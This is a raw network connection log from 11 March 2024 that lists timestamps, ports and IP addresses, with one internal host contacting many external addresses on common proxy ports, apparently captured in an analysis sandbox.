Mar 11, 2024 15:21:02.914464951 CET	51269	61344	192.168.2.9	75.119.145.169
Mar 11, 2024 15:21:02.914552927 CET	4145	50132	222.124.130.195	192.168.2.9
Mar 11, 2024 15:21:02.914566994 CET	80	50978	52.196.1.182	192.168.2.9
Mar 11, 2024 15:21:02.914866924 CET	50978	80	192.168.2.9	52.196.1.182
Mar 11, 2024 15:21:02.915061951 CET	58630	51217	51.81.186.179	192.168.2.9
Mar 11, 2024 15:21:02.915169001 CET	51217	58630	192.168.2.9	51.81.186.179
Mar 11, 2024 15:21:02.915437937 CET	51217	58630	192.168.2.9	51.81.186.179
Mar 11, 2024 15:21:02.915528059 CET	8080	50155	46.105.35.193	192.168.2.9
Mar 11, 2024 15:21:02.916172028 CET	80	50476	134.209.189.42	192.168.2.9
Mar 11, 2024 15:21:02.916183949 CET	80	51165	120.78.191.68	192.168.2.9
Mar 11, 2024 15:21:02.916265965 CET	51165	80	192.168.2.9	120.78.191.68
Mar 11, 2024 15:21:02.916491985 CET	51165	80	192.168.2.9	120.78.191.68
Mar 11, 2024 15:21:02.916727066 CET	1080	50015	94.131.14.66	192.168.2.9
Mar 11, 2024 15:21:02.916790962 CET	50015	1080	192.168.2.9	94.131.14.66
Mar 11, 2024 15:21:02.916975975 CET	50015	1080	192.168.2.9	94.131.14.66
Mar 11, 2024 15:21:02.918340921 CET	80	50753	103.199.18.248	192.168.2.9
Mar 11, 2024 15:21:02.918819904 CET	50327	62291	192.168.2.9	161.97.170.209
Mar 11, 2024 15:21:02.918854952 CET	50310	60433	192.168.2.9	162.214.227.68
Mar 11, 2024 15:21:02.918854952 CET	50329	25485	192.168.2.9	172.93.111.235
Mar 11, 2024 15:21:02.918854952 CET	50313	13135	192.168.2.9	108.175.24.1
Mar 11, 2024 15:21:02.918855906 CET	50544	8888	192.168.2.9	47.236.36.58
Mar 11, 2024 15:21:02.918855906 CET	50767	4145	192.168.2.9	199.102.104.70
Mar 11, 2024 15:21:02.918857098 CET	50333	8080	192.168.2.9	47.100.91.57
Mar 11, 2024 15:21:02.918855906 CET	50334	15280	192.168.2.9	184.178.172.18
Mar 11, 2024 15:21:02.918857098 CET	50337	3128	192.168.2.9	159.203.61.169
Mar 11, 2024 15:21:02.918869972 CET	50032	8889	192.168.2.9	216.176.187.99
Mar 11, 2024 15:21:02.918855906 CET	50619	80	192.168.2.9	50.174.7.153
Mar 11, 2024 15:21:02.918855906 CET	50346	12446	192.168.2.9	148.72.209.174
Mar 11, 2024 15:21:02.918874025 CET	50347	80	192.168.2.9	51.255.82.124
Mar 11, 2024 15:21:02.918874979 CET	50335	1976	192.168.2.9	45.240.182.120
Mar 11, 2024 15:21:02.918885946 CET	49726	8080	192.168.2.9	46.209.54.102
Mar 11, 2024 15:21:02.918891907 CET	50332	4153	192.168.2.9	181.13.198.90
Mar 11, 2024 15:21:02.918909073 CET	50339	1080	192.168.2.9	31.43.203.100
Mar 11, 2024 15:21:02.918946981 CET	50350	55507	192.168.2.9	5.58.33.187
Mar 11, 2024 15:21:02.920677900 CET	58612	50783	51.161.131.84	192.168.2.9
Mar 11, 2024 15:21:02.920828104 CET	51270	41122	192.168.2.9	183.166.137.171
Mar 11, 2024 15:21:02.921137094 CET	50574	80	192.168.2.9	50.170.90.31
Mar 11, 2024 15:21:02.921250105 CET	51271	8080	192.168.2.9	182.253.31.83
Mar 11, 2024 15:21:02.921482086 CET	58612	50783	51.161.131.84	192.168.2.9
Mar 11, 2024 15:21:02.921494961 CET	8080	50730	91.202.230.219	192.168.2.9
Mar 11, 2024 15:21:02.921505928 CET	8080	50730	91.202.230.219	192.168.2.9
Mar 11, 2024 15:21:02.922352076 CET	80	50281	50.218.57.64	192.168.2.9
Mar 11, 2024 15:21:02.922485113 CET	51272	58612	192.168.2.9	51.161.131.84
Mar 11, 2024 15:21:02.923127890 CET	51273	8080	192.168.2.9	91.202.230.219
Mar 11, 2024 15:21:02.923455954 CET	51274	8181	192.168.2.9	103.156.17.39
Mar 11, 2024 15:21:02.923630953 CET	8081	50012	117.160.250.163	192.168.2.9
Mar 11, 2024 15:21:02.923643112 CET	8081	50012	117.160.250.163	192.168.2.9
Mar 11, 2024 15:21:02.923680067 CET	8081	50012	117.160.250.163	192.168.2.9
Mar 11, 2024 15:21:02.923732996 CET	50012	8081	192.168.2.9	117.160.250.163
Mar 11, 2024 15:21:02.923885107 CET	50012	8081	192.168.2.9	117.160.250.163
Mar 11, 2024 15:21:02.924535990 CET	51275	8080	192.168.2.9	187.141.184.235
Mar 11, 2024 15:21:02.925870895 CET	4145	50194	37.34.72.132	192.168.2.9
Mar 11, 2024 15:21:02.925884962 CET	1080	51062	160.226.237.187	192.168.2.9
Mar 11, 2024 15:21:02.925949097 CET	51062	1080	192.168.2.9	160.226.237.187
Mar 11, 2024 15:21:02.926198959 CET	51062	1080	192.168.2.9	160.226.237.187
Mar 11, 2024 15:21:02.928389072 CET	51276	3127	192.168.2.9	36.64.132.91
Mar 11, 2024 15:21:02.928878069 CET	8080	50306	95.84.166.138	192.168.2.9
Mar 11, 2024 15:21:02.930181980 CET	51277	8282	192.168.2.9	91.236.156.30
Mar 11, 2024 15:21:02.931029081 CET	8080	50306	95.84.166.138	192.168.2.9
Mar 11, 2024 15:21:02.932131052 CET	51278	8080	192.168.2.9	177.128.212.190
Mar 11, 2024 15:21:02.933940887 CET	51279	27829	192.168.2.9	162.144.36.208
Mar 11, 2024 15:21:02.934411049 CET	64654	51065	162.19.7.53	192.168.2.9
Mar 11, 2024 15:21:02.934422970 CET	80	50753	103.199.18.248	192.168.2.9
Mar 11, 2024 15:21:02.934473991 CET	50353	16379	192.168.2.9	51.15.133.214
Mar 11, 2024 15:21:02.934488058 CET	50379	3128	192.168.2.9	178.245.145.234
Mar 11, 2024 15:21:02.934492111 CET	50699	10235	192.168.2.9	72.10.164.178
Mar 11, 2024 15:21:02.934489965 CET	50390	4145	192.168.2.9	98.181.137.80
Mar 11, 2024 15:21:02.934504032 CET	50356	3128	192.168.2.9	178.94.231.93
Mar 11, 2024 15:21:02.934514046 CET	50340	27907	192.168.2.9	162.144.32.209
Mar 11, 2024 15:21:02.934514046 CET	50348	53281	192.168.2.9	46.250.25.225
Mar 11, 2024 15:21:02.934514999 CET	50174	36129	192.168.2.9	162.214.225.223
Mar 11, 2024 15:21:02.934514999 CET	50355	38080	192.168.2.9	31.44.82.2
Mar 11, 2024 15:21:02.934514999 CET	50359	63886	192.168.2.9	209.126.5.138
Mar 11, 2024 15:21:02.934540033 CET	50803	8080	192.168.2.9	5.78.44.6
Mar 11, 2024 15:21:02.934540033 CET	49950	51535	192.168.2.9	162.241.66.135
Mar 11, 2024 15:21:02.934542894 CET	80	50264	35.180.188.216	192.168.2.9
Mar 11, 2024 15:21:02.934556961 CET	80	50268	50.217.226.40	192.168.2.9
Mar 11, 2024 15:21:02.934561968 CET	50372	58839	192.168.2.9	165.227.104.122
Mar 11, 2024 15:21:02.934567928 CET	50376	8080	192.168.2.9	95.47.149.8
Mar 11, 2024 15:21:02.934572935 CET	50370	16379	192.168.2.9	51.15.142.4
Mar 11, 2024 15:21:02.934582949 CET	50387	29618	192.168.2.9	192.169.226.96
Mar 11, 2024 15:21:02.934586048 CET	50383	5678	192.168.2.9	109.87.130.6
Mar 11, 2024 15:21:02.934587955 CET	51280	21861	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:02.934588909 CET	50375	37445	192.168.2.9	162.240.72.139
Mar 11, 2024 15:21:02.934588909 CET	50378	21062	192.168.2.9	94.23.220.136
Mar 11, 2024 15:21:02.935034990 CET	4145	51176	72.210.221.223	192.168.2.9
Mar 11, 2024 15:21:02.935200930 CET	51176	4145	192.168.2.9	72.210.221.223
Mar 11, 2024 15:21:02.935307980 CET	8888	50354	47.114.101.57	192.168.2.9
Mar 11, 2024 15:21:02.935450077 CET	51176	4145	192.168.2.9	72.210.221.223
Mar 11, 2024 15:21:02.937010050 CET	31908	50811	64.227.108.25	192.168.2.9
Mar 11, 2024 15:21:02.937113047 CET	50811	31908	192.168.2.9	64.227.108.25
Mar 11, 2024 15:21:02.937362909 CET	50811	31908	192.168.2.9	64.227.108.25
Mar 11, 2024 15:21:02.939377069 CET	51281	1080	192.168.2.9	103.4.145.133
Mar 11, 2024 15:21:02.940007925 CET	51282	55019	192.168.2.9	92.204.135.37
Mar 11, 2024 15:21:02.940102100 CET	3128	50523	18.134.236.231	192.168.2.9
Mar 11, 2024 15:21:02.940201044 CET	51283	8080	192.168.2.9	85.113.55.123
Mar 11, 2024 15:21:02.941781044 CET	50523	3128	192.168.2.9	18.134.236.231
Mar 11, 2024 15:21:02.942045927 CET	80	50884	3.127.62.252	192.168.2.9
Mar 11, 2024 15:21:02.943717957 CET	80	50884	3.127.62.252	192.168.2.9
Mar 11, 2024 15:21:02.944144011 CET	80	50501	50.200.12.87	192.168.2.9
Mar 11, 2024 15:21:02.944171906 CET	50884	80	192.168.2.9	3.127.62.252
Mar 11, 2024 15:21:02.945868969 CET	51284	4145	192.168.2.9	192.111.134.10
Mar 11, 2024 15:21:02.946660042 CET	51285	46097	192.168.2.9	162.241.46.40
Mar 11, 2024 15:21:02.947324991 CET	51286	52104	192.168.2.9	177.223.48.126
Mar 11, 2024 15:21:02.948365927 CET	80	50274	50.217.226.46	192.168.2.9
Mar 11, 2024 15:21:02.949826956 CET	80	50367	50.168.163.177	192.168.2.9
Mar 11, 2024 15:21:02.950107098 CET	50368	2275	192.168.2.9	207.244.229.34
Mar 11, 2024 15:21:02.950105906 CET	50365	3128	192.168.2.9	189.85.82.38
Mar 11, 2024 15:21:02.950107098 CET	50381	6012	192.168.2.9	45.11.95.166
Mar 11, 2024 15:21:02.950110912 CET	50361	80	192.168.2.9	198.49.68.80
Mar 11, 2024 15:21:02.950118065 CET	50809	8080	192.168.2.9	5.78.89.192
Mar 11, 2024 15:21:02.950118065 CET	50382	8080	192.168.2.9	103.137.91.250
Mar 11, 2024 15:21:02.950123072 CET	50358	5678	192.168.2.9	103.159.220.157
Mar 11, 2024 15:21:02.950123072 CET	50389	48414	192.168.2.9	162.214.225.223
Mar 11, 2024 15:21:02.950123072 CET	50409	15901	192.168.2.9	203.96.177.211
Mar 11, 2024 15:21:02.950126886 CET	50392	6048	192.168.2.9	45.11.95.165
Mar 11, 2024 15:21:02.950134039 CET	49953	7891	192.168.2.9	43.129.228.46
Mar 11, 2024 15:21:02.950134039 CET	50385	59559	192.168.2.9	162.144.79.97
Mar 11, 2024 15:21:02.950134039 CET	50393	50564	192.168.2.9	164.92.86.113
Mar 11, 2024 15:21:02.950139999 CET	50410	4145	192.168.2.9	45.6.229.227
Mar 11, 2024 15:21:02.950154066 CET	50384	29745	192.168.2.9	132.148.128.88
Mar 11, 2024 15:21:02.950155973 CET	50394	83	192.168.2.9	103.147.128.65
Mar 11, 2024 15:21:02.950155973 CET	50403	999	192.168.2.9	201.218.144.19
Mar 11, 2024 15:21:02.950155973 CET	50398	80	192.168.2.9	103.123.25.65
Mar 11, 2024 15:21:02.950628042 CET	51287	52395	192.168.2.9	164.92.237.188
Mar 11, 2024 15:21:02.950992107 CET	51288	8080	192.168.2.9	14.207.24.176
Mar 11, 2024 15:21:02.951298952 CET	51289	80	192.168.2.9	50.204.219.225
Mar 11, 2024 15:21:02.953118086 CET	51290	16379	192.168.2.9	51.158.79.76
Mar 11, 2024 15:21:02.953264952 CET	8080	50298	201.184.63.218	192.168.2.9
Mar 11, 2024 15:21:02.954543114 CET	51291	8888	192.168.2.9	36.134.91.82
Mar 11, 2024 15:21:02.954626083 CET	15673	50921	8.217.44.229	192.168.2.9
Mar 11, 2024 15:21:02.955375910 CET	80	51174	50.223.239.190	192.168.2.9
Mar 11, 2024 15:21:02.955888033 CET	51292	8080	192.168.2.9	180.191.254.130
Mar 11, 2024 15:21:02.957168102 CET	1599	50453	72.10.160.172	192.168.2.9
Mar 11, 2024 15:21:02.957180977 CET	1080	51171	84.22.45.175	192.168.2.9
Mar 11, 2024 15:21:02.957673073 CET	51293	4145	192.168.2.9	103.140.35.11
Mar 11, 2024 15:21:02.957819939 CET	1080	50366	84.22.45.175	192.168.2.9
Mar 11, 2024 15:21:02.958132029 CET	51171	1080	192.168.2.9	84.22.45.175
Mar 11, 2024 15:21:02.958132029 CET	51171	1080	192.168.2.9	84.22.45.175
Mar 11, 2024 15:21:02.958348036 CET	51294	26927	192.168.2.9	92.204.135.37
Mar 11, 2024 15:21:02.960019112 CET	80	49725	50.218.57.71	192.168.2.9
Mar 11, 2024 15:21:02.961007118 CET	15673	50921	8.217.44.229	192.168.2.9
Mar 11, 2024 15:21:02.962007999 CET	51295	8765	192.168.2.9	203.161.30.10
Mar 11, 2024 15:21:02.962263107 CET	51297	1080	192.168.2.9	223.113.89.138
Mar 11, 2024 15:21:02.962340117 CET	51296	15673	192.168.2.9	8.217.44.229
Mar 11, 2024 15:21:02.962546110 CET	51298	80	192.168.2.9	185.162.228.170
Mar 11, 2024 15:21:02.963769913 CET	8083	50910	196.20.125.145	192.168.2.9
Mar 11, 2024 15:21:02.964939117 CET	51299	4145	192.168.2.9	185.169.181.16
Mar 11, 2024 15:21:02.965259075 CET	51300	45650	192.168.2.9	72.167.38.7
Mar 11, 2024 15:21:02.965728998 CET	50746	32261	192.168.2.9	72.10.160.171
Mar 11, 2024 15:21:02.965728998 CET	49952	51718	192.168.2.9	51.222.241.157
Mar 11, 2024 15:21:02.965751886 CET	50414	80	192.168.2.9	35.207.123.94
Mar 11, 2024 15:21:02.965753078 CET	50426	8089	192.168.2.9	114.231.82.153
Mar 11, 2024 15:21:02.965755939 CET	50415	8080	192.168.2.9	38.156.73.61
Mar 11, 2024 15:21:02.965800047 CET	50404	44523	192.168.2.9	51.161.33.206
Mar 11, 2024 15:21:02.965836048 CET	8080	51153	103.190.54.141	192.168.2.9
Mar 11, 2024 15:21:02.965898991 CET	51153	8080	192.168.2.9	103.190.54.141
Mar 11, 2024 15:21:02.965924978 CET	50528	80	192.168.2.9	211.128.96.206
Mar 11, 2024 15:21:02.965945959 CET	49893	8002	192.168.2.9	39.108.229.14
Mar 11, 2024 15:21:02.965959072 CET	50407	4145	192.168.2.9	185.139.56.133
Mar 11, 2024 15:21:02.965960979 CET	50397	19481	192.168.2.9	209.222.97.30
Mar 11, 2024 15:21:02.965960979 CET	50418	17081	192.168.2.9	171.244.140.160
Mar 11, 2024 15:21:02.965970993 CET	50427	8080	192.168.2.9	38.156.75.14
Mar 11, 2024 15:21:02.966006041 CET	50420	21605	192.168.2.9	128.199.221.91
Mar 11, 2024 15:21:02.966006041 CET	50429	32650	192.168.2.9	125.25.40.41
Mar 11, 2024 15:21:02.966356993 CET	8899	50777	117.160.250.134	192.168.2.9
Mar 11, 2024 15:21:02.966372013 CET	80	50866	20.206.106.192	192.168.2.9
Mar 11, 2024 15:21:02.966393948 CET	51153	8080	192.168.2.9	103.190.54.141
Mar 11, 2024 15:21:02.966404915 CET	50777	8899	192.168.2.9	117.160.250.134
Mar 11, 2024 15:21:02.966788054 CET	50777	8899	192.168.2.9	117.160.250.134
Mar 11, 2024 15:21:02.967535019 CET	51301	46104	192.168.2.9	98.103.88.158
Mar 11, 2024 15:21:02.967607975 CET	15673	50883	47.242.15.120	192.168.2.9
Mar 11, 2024 15:21:02.969552040 CET	8193	50904	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:02.969628096 CET	50904	8193	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:02.969803095 CET	50904	8193	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:02.970382929 CET	51302	8193	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:02.970453024 CET	8193	50904	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:02.970705032 CET	9050	50259	141.95.86.243	192.168.2.9
Mar 11, 2024 15:21:02.971434116 CET	51303	80	192.168.2.9	104.19.85.214
Mar 11, 2024 15:21:02.971896887 CET	51304	80	192.168.2.9	104.16.105.142
Mar 11, 2024 15:21:02.971918106 CET	51305	8080	192.168.2.9	103.189.96.38
Mar 11, 2024 15:21:02.972856045 CET	15673	50883	47.242.15.120	192.168.2.9
Mar 11, 2024 15:21:02.973016977 CET	4145	51214	68.1.210.189	192.168.2.9
Mar 11, 2024 15:21:02.973028898 CET	15673	50877	43.133.74.172	192.168.2.9
Mar 11, 2024 15:21:02.973073959 CET	51214	4145	192.168.2.9	68.1.210.189
Mar 11, 2024 15:21:02.973937035 CET	51214	4145	192.168.2.9	68.1.210.189
Mar 11, 2024 15:21:02.974052906 CET	51306	15673	192.168.2.9	47.242.15.120
Mar 11, 2024 15:21:02.976006985 CET	51307	8080	192.168.2.9	115.74.246.138
Mar 11, 2024 15:21:02.976104021 CET	3128	50239	13.234.24.116	192.168.2.9
Mar 11, 2024 15:21:02.976116896 CET	8193	50582	175.183.82.221	192.168.2.9
Mar 11, 2024 15:21:02.976588964 CET	51308	3128	192.168.2.9	35.237.210.215
Mar 11, 2024 15:21:02.976663113 CET	4145	51094	72.195.101.99	192.168.2.9
Mar 11, 2024 15:21:02.976988077 CET	51309	3629	192.168.2.9	177.85.205.173
Mar 11, 2024 15:21:02.977261066 CET	4145	51094	72.195.101.99	192.168.2.9
Mar 11, 2024 15:21:02.977274895 CET	80	49942	93.117.225.195	192.168.2.9
Mar 11, 2024 15:21:02.977536917 CET	8193	50582	175.183.82.221	192.168.2.9
Mar 11, 2024 15:21:02.977561951 CET	8193	50582	175.183.82.221	192.168.2.9
Mar 11, 2024 15:21:02.977590084 CET	50582	8193	192.168.2.9	175.183.82.221
Mar 11, 2024 15:21:02.977622032 CET	50582	8193	192.168.2.9	175.183.82.221
Mar 11, 2024 15:21:02.978445053 CET	51310	4145	192.168.2.9	72.195.101.99
Mar 11, 2024 15:21:02.979011059 CET	50582	8193	192.168.2.9	175.183.82.221
Mar 11, 2024 15:21:02.979213953 CET	50239	3128	192.168.2.9	13.234.24.116
Mar 11, 2024 15:21:02.979608059 CET	80	51198	50.217.226.42	192.168.2.9
Mar 11, 2024 15:21:02.979621887 CET	11537	51225	38.127.172.28	192.168.2.9
Mar 11, 2024 15:21:02.980564117 CET	51311	48114	192.168.2.9	51.75.125.208
Mar 11, 2024 15:21:02.980916977 CET	18940	50276	144.91.107.252	192.168.2.9
Mar 11, 2024 15:21:02.981343985 CET	50419	15673	192.168.2.9	43.131.245.216
Mar 11, 2024 15:21:02.981344938 CET	50430	5078	192.168.2.9	159.223.166.21
Mar 11, 2024 15:21:02.981343985 CET	50417	8080	192.168.2.9	62.112.10.26
Mar 11, 2024 15:21:02.981343985 CET	50792	80	192.168.2.9	50.204.190.234
Mar 11, 2024 15:21:02.981417894 CET	50423	59421	192.168.2.9	45.81.232.17
Mar 11, 2024 15:21:02.981465101 CET	50433	8080	192.168.2.9	103.139.127.244
Mar 11, 2024 15:21:02.981465101 CET	50431	10919	192.168.2.9	98.178.72.21
Mar 11, 2024 15:21:02.981465101 CET	50440	9091	192.168.2.9	112.51.96.118
Mar 11, 2024 15:21:02.981472015 CET	50360	8080	192.168.2.9	124.120.113.165
Mar 11, 2024 15:21:02.981472015 CET	50753	80	192.168.2.9	103.199.18.248
Mar 11, 2024 15:21:02.981472015 CET	50439	8080	192.168.2.9	180.183.97.16
Mar 11, 2024 15:21:02.981472969 CET	50798	28549	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:02.981477022 CET	50432	999	192.168.2.9	45.189.151.27
Mar 11, 2024 15:21:02.981477022 CET	50435	31654	192.168.2.9	98.162.25.4
Mar 11, 2024 15:21:02.981477022 CET	50436	8888	192.168.2.9	23.122.184.9
Mar 11, 2024 15:21:02.981712103 CET	6879	50462	67.43.228.253	192.168.2.9
Mar 11, 2024 15:21:02.981724977 CET	10977	50465	67.43.227.226	192.168.2.9
Mar 11, 2024 15:21:02.984559059 CET	51312	1311	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:02.984632015 CET	31145	50388	195.138.73.54	192.168.2.9
Mar 11, 2024 15:21:02.985037088 CET	51313	4145	192.168.2.9	184.170.249.65
Mar 11, 2024 15:21:02.985359907 CET	51314	8080	192.168.2.9	118.99.108.4
Mar 11, 2024 15:21:02.986305952 CET	9300	50490	198.211.99.26	192.168.2.9
Mar 11, 2024 15:21:02.987128019 CET	51315	10801	192.168.2.9	46.173.175.121
Mar 11, 2024 15:21:02.987893105 CET	15109	50468	67.43.228.253	192.168.2.9
Mar 11, 2024 15:21:02.987905979 CET	999	50402	191.97.19.66	192.168.2.9
Mar 11, 2024 15:21:02.989176989 CET	4145	50620	68.71.247.130	192.168.2.9
Mar 11, 2024 15:21:02.989763021 CET	51316	82	192.168.2.9	103.146.170.193
Mar 11, 2024 15:21:02.990288019 CET	51317	49588	192.168.2.9	192.169.244.80
Mar 11, 2024 15:21:02.991208076 CET	51318	3128	192.168.2.9	156.239.52.31
Mar 11, 2024 15:21:02.992495060 CET	54321	51020	213.19.205.18	192.168.2.9
Mar 11, 2024 15:21:02.992867947 CET	51319	36580	192.168.2.9	51.75.126.150
Mar 11, 2024 15:21:02.994126081 CET	51320	1111	192.168.2.9	103.165.155.238
Mar 11, 2024 15:21:02.995284081 CET	80	50961	94.130.94.45	192.168.2.9
Mar 11, 2024 15:21:02.995297909 CET	54321	51020	213.19.205.18	192.168.2.9
Mar 11, 2024 15:21:02.995309114 CET	80	50961	94.130.94.45	192.168.2.9
Mar 11, 2024 15:21:02.995325089 CET	3128	51181	3.37.125.76	192.168.2.9
Mar 11, 2024 15:21:02.995424986 CET	51181	3128	192.168.2.9	3.37.125.76
Mar 11, 2024 15:21:02.995440960 CET	51020	54321	192.168.2.9	213.19.205.18
Mar 11, 2024 15:21:02.995542049 CET	51020	54321	192.168.2.9	213.19.205.18
Mar 11, 2024 15:21:02.996272087 CET	80	49729	50.217.226.44	192.168.2.9
Mar 11, 2024 15:21:02.996587038 CET	51321	80	192.168.2.9	94.130.94.45
Mar 11, 2024 15:21:02.996851921 CET	51181	3128	192.168.2.9	3.37.125.76
Mar 11, 2024 15:21:02.996956110 CET	49875	80	192.168.2.9	50.172.75.121
Mar 11, 2024 15:21:02.996959925 CET	50437	4145	192.168.2.9	1.4.145.244
Mar 11, 2024 15:21:02.996974945 CET	50454	4145	192.168.2.9	184.178.172.14
Mar 11, 2024 15:21:02.996977091 CET	50395	1388	192.168.2.9	87.126.65.11
Mar 11, 2024 15:21:02.996978045 CET	50457	4145	192.168.2.9	184.178.172.17
Mar 11, 2024 15:21:02.996982098 CET	50691	47935	192.168.2.9	104.36.166.34
Mar 11, 2024 15:21:02.996982098 CET	50448	11201	192.168.2.9	38.41.0.62
Mar 11, 2024 15:21:02.996982098 CET	50441	80	192.168.2.9	140.83.32.175
Mar 11, 2024 15:21:02.997013092 CET	50460	8080	192.168.2.9	51.145.176.250
Mar 11, 2024 15:21:02.997014046 CET	49991	8080	192.168.2.9	187.157.243.254
Mar 11, 2024 15:21:02.997018099 CET	50832	22847	192.168.2.9	167.172.159.43
Mar 11, 2024 15:21:02.997018099 CET	50438	32650	192.168.2.9	103.29.90.66
Mar 11, 2024 15:21:02.997025967 CET	50829	80	192.168.2.9	50.168.72.118
Mar 11, 2024 15:21:02.997039080 CET	50442	1025	192.168.2.9	223.112.53.2
Mar 11, 2024 15:21:02.997047901 CET	50830	3091	192.168.2.9	67.43.228.253
Mar 11, 2024 15:21:02.997087002 CET	50451	4145	192.168.2.9	109.238.229.233
Mar 11, 2024 15:21:02.997087002 CET	49932	80	192.168.2.9	50.168.210.235
Mar 11, 2024 15:21:02.997088909 CET	50446	8081	192.168.2.9	178.54.21.203
Mar 11, 2024 15:21:02.997088909 CET	50455	1976	192.168.2.9	41.65.103.30
Mar 11, 2024 15:21:02.997088909 CET	50458	999	192.168.2.9	190.90.22.106
Mar 11, 2024 15:21:02.997567892 CET	51322	54321	192.168.2.9	213.19.205.18
Mar 11, 2024 15:21:02.997817039 CET	51323	10001	192.168.2.9	43.243.140.58
Mar 11, 2024 15:21:02.998262882 CET	51324	80	192.168.2.9	62.99.138.162
Mar 11, 2024 15:21:02.999051094 CET	51325	80	192.168.2.9	50.174.214.217
Mar 11, 2024 15:21:03.000163078 CET	15673	50954	8.217.143.187	192.168.2.9
Mar 11, 2024 15:21:03.000176907 CET	80	50149	190.58.248.86	192.168.2.9
Mar 11, 2024 15:21:03.001595020 CET	51326	8080	192.168.2.9	180.191.16.5
Mar 11, 2024 15:21:03.001697063 CET	9090	51135	47.104.0.12	192.168.2.9
Mar 11, 2024 15:21:03.001761913 CET	51135	9090	192.168.2.9	47.104.0.12
Mar 11, 2024 15:21:03.002012968 CET	51135	9090	192.168.2.9	47.104.0.12
Mar 11, 2024 15:21:03.002016068 CET	51327	3128	192.168.2.9	47.91.65.23
Mar 11, 2024 15:21:03.002973080 CET	15673	50954	8.217.143.187	192.168.2.9
Mar 11, 2024 15:21:03.003906965 CET	51328	15673	192.168.2.9	8.217.143.187
Mar 11, 2024 15:21:03.003973961 CET	10587	50517	67.43.236.19	192.168.2.9
Mar 11, 2024 15:21:03.004982948 CET	10000	51210	147.75.34.86	192.168.2.9
Mar 11, 2024 15:21:03.005109072 CET	51210	10000	192.168.2.9	147.75.34.86
Mar 11, 2024 15:21:03.005300045 CET	51329	80	192.168.2.9	142.11.222.22
Mar 11, 2024 15:21:03.005304098 CET	51210	10000	192.168.2.9	147.75.34.86
Mar 11, 2024 15:21:03.005565882 CET	10007	51209	147.75.34.85	192.168.2.9
Mar 11, 2024 15:21:03.005624056 CET	51209	10007	192.168.2.9	147.75.34.85
Mar 11, 2024 15:21:03.005678892 CET	8000	49815	42.61.48.219	192.168.2.9
Mar 11, 2024 15:21:03.006753922 CET	51330	8081	192.168.2.9	102.134.98.222
Mar 11, 2024 15:21:03.006757021 CET	51209	10007	192.168.2.9	147.75.34.85
Mar 11, 2024 15:21:03.007759094 CET	51331	80	192.168.2.9	146.59.243.214
Mar 11, 2024 15:21:03.007817030 CET	8000	49815	42.61.48.219	192.168.2.9
Mar 11, 2024 15:21:03.008024931 CET	49815	8000	192.168.2.9	42.61.48.219
Mar 11, 2024 15:21:03.009211063 CET	1080	51159	23.19.244.109	192.168.2.9
Mar 11, 2024 15:21:03.009227037 CET	44607	49828	162.241.158.204	192.168.2.9
Mar 11, 2024 15:21:03.010236979 CET	1080	51159	23.19.244.109	192.168.2.9
Mar 11, 2024 15:21:03.010292053 CET	51159	1080	192.168.2.9	23.19.244.109
Mar 11, 2024 15:21:03.012264013 CET	80	49790	50.168.163.166	192.168.2.9
Mar 11, 2024 15:21:03.012566090 CET	50374	3128	192.168.2.9	47.229.171.150
Mar 11, 2024 15:21:03.012588024 CET	50445	80	192.168.2.9	82.97.215.240
Mar 11, 2024 15:21:03.012588024 CET	50587	4153	192.168.2.9	88.135.44.39
Mar 11, 2024 15:21:03.012610912 CET	50449	50903	192.168.2.9	92.205.61.38
Mar 11, 2024 15:21:03.012612104 CET	50464	6002	192.168.2.9	45.11.95.166
Mar 11, 2024 15:21:03.012630939 CET	50743	80	192.168.2.9	50.172.75.123
Mar 11, 2024 15:21:03.012631893 CET	49856	80	192.168.2.9	50.221.74.130
Mar 11, 2024 15:21:03.012635946 CET	50665	4145	192.168.2.9	36.90.61.224
Mar 11, 2024 15:21:03.012655020 CET	50470	8080	192.168.2.9	139.0.6.11
Mar 11, 2024 15:21:03.012665033 CET	50461	80	192.168.2.9	54.38.181.125
Mar 11, 2024 15:21:03.012665987 CET	50873	4145	192.168.2.9	74.119.144.60
Mar 11, 2024 15:21:03.012692928 CET	50638	1080	192.168.2.9	181.3.51.47
Mar 11, 2024 15:21:03.012693882 CET	50469	999	192.168.2.9	186.148.182.86
Mar 11, 2024 15:21:03.012804985 CET	51159	1080	192.168.2.9	23.19.244.109
Mar 11, 2024 15:21:03.012886047 CET	49995	80	192.168.2.9	50.218.224.35
Mar 11, 2024 15:21:03.013463974 CET	51332	1080	192.168.2.9	23.19.244.109
Mar 11, 2024 15:21:03.013545036 CET	6116	50087	160.153.245.187	192.168.2.9
Mar 11, 2024 15:21:03.013876915 CET	50087	6116	192.168.2.9	160.153.245.187
Mar 11, 2024 15:21:03.015225887 CET	8080	51180	94.26.241.120	192.168.2.9
Mar 11, 2024 15:21:03.015511990 CET	80	50331	50.223.38.6	192.168.2.9
Mar 11, 2024 15:21:03.015527010 CET	4145	50631	162.253.68.97	192.168.2.9
Mar 11, 2024 15:21:03.016602993 CET	50631	4145	192.168.2.9	162.253.68.97
Mar 11, 2024 15:21:03.017505884 CET	7302	50447	211.93.2.190	192.168.2.9
Mar 11, 2024 15:21:03.017520905 CET	7302	50447	211.93.2.190	192.168.2.9
Mar 11, 2024 15:21:03.017532110 CET	7302	50447	211.93.2.190	192.168.2.9
Mar 11, 2024 15:21:03.017573118 CET	50447	7302	192.168.2.9	211.93.2.190
Mar 11, 2024 15:21:03.017827034 CET	50447	7302	192.168.2.9	211.93.2.190
Mar 11, 2024 15:21:03.018577099 CET	50087	6116	192.168.2.9	160.153.245.187
Mar 11, 2024 15:21:03.018577099 CET	51333	36503	192.168.2.9	107.180.88.173
Mar 11, 2024 15:21:03.018754005 CET	7302	50447	211.93.2.190	192.168.2.9
Mar 11, 2024 15:21:03.018812895 CET	50447	7302	192.168.2.9	211.93.2.190
Mar 11, 2024 15:21:03.018959045 CET	50631	4145	192.168.2.9	162.253.68.97
Mar 11, 2024 15:21:03.019061089 CET	80	50043	45.124.184.13	192.168.2.9
Mar 11, 2024 15:21:03.019478083 CET	50447	7302	192.168.2.9	211.93.2.190
Mar 11, 2024 15:21:03.019515991 CET	50043	80	192.168.2.9	45.124.184.13
